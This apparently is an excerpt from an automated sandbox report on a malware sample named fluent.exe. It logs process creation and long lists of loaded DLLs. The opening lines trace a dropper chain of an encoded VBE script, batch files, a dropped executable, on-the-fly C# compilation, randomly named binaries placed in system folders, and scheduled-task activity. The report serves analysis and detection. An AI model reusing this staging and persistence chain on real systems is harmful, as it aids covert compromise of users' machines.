Source: unknown	Process created: C:\comReviewintocommon\driverSavesNet.exe "C:\comReviewintocommon\driverSavesNet.exe"
Source: unknown	Process created: C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe "C:\Recovery\gNKaMdWfDFzDkhEeKzQ.exe"
Source: unknown	Process created: C:\comReviewintocommon\driverSavesNet.exe "C:\comReviewintocommon\driverSavesNet.exe"
Source: C:\Users\user\Desktop\fluent.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\comReviewintocommon\YnzAdQrUUt8.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\comReviewintocommon\driverSavesNet.exe "C:\comReviewintocommon/driverSavesNet.exe"	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\jzqywwbr\jzqywwbr.cmdline"	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RJ4yfxqn4J.bat"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD287.tmp" "c:\Windows\System32\CSCBCBDE6D48A2D4BDA8A90105531C410CA.TMP"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe "C:\Windows\en-GB\gNKaMdWfDFzDkhEeKzQ.exe"

Source: C:\Users\user\Desktop\fluent.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fluent.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: version.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\comReviewintocommon\driverSavesNet.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
